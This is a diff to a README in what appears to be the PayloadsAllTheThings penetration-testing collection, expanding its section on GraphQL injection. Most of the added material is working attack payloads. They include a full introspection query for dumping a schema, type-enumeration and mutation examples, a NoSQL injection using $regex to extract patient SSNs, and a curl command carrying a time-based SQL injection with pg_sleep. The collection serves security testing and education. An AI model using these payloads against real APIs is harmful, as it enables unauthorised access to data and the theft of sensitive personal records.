GraphQL injection : blind nosqli + sqli

GraphQL Injection/README.md

@@ -2,30 +2,54 @@
 
 > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data.
 
+
+## Summary
+
+* [Tools](#tools)
+* [Exploit](#exploit)
+  * [Identify an injection point](#identify-an-injection-point)
+  * [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection)
+  * [Extract data](#extract-data)
+  * [Enumerate the types' definition](#enumerate-the-type-definition)
+  * [Use mutations](#use-mutations)
+  * [NOSQL injection](#nosql-injection)
+  * [SQL injection](#sql-injection)
+* [References](#references)
+
+## Tools
+
+* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
+* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
+* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
+
 ## Exploit
 
 ### Identify an injection point
 
+Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
+
 ```js
 example.com/graphql?query={__schema{types{name}}}
 ```
-Check if errors are visible
+
+Check if errors are visible.
 
 ```javascript
-?param={__schema}
+?query={__schema}
-?param={}
+?query={}
-?param={thisdefinitelydoesnotexist}
+?query={thisdefinitelydoesnotexist}
 ```
 
-### Extract data
+
+### Enumerate Database Schema via Introspection
+
+URL encoded query to dump the database schema.
 
 ```js
-example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
+fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
 ```
 
-![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
+URL decoded query to dump the database schema.
-
-### Enumerate Database Schema with the following GraphQL query
 
 ```javascript
 fragment FullType on __Type {
@@ -124,14 +148,67 @@ query IntrospectionQuery {
 }
 ```
 
-### Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
+
+### Extract data
+
+```js
+example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
+```
+
+![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
+
+
+### Enumerate the types' definition 
+
+Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
 
 ```javascript
 {__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
 ```
 
+### Use mutations
+
+Mutations work like function, you can use them to interact with the GraphQL.
+
+```javascript
+# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
+# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
+```
+
+### NOSQL injection
+
+Use `$regex`, `$ne` from []() inside a `search` parameter.
+
+```json
+{
+  doctors(
+    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
+    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
+    {
+      firstName lastName id patients{ssn}
+    }
+}
+```
+
+
+### SQL injection
+
+Simple SQL injection inside a graphql field.
+
+```powershell
+curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
+```
+
+
 ## References
 
 * [Introduction to GraphQL](https://graphql.org/learn/)
 * [GraphQL Introspection](https://graphql.org/learn/introspection/)
 * [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
+* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
+* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
+* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
+* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
+* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
+* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
+* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)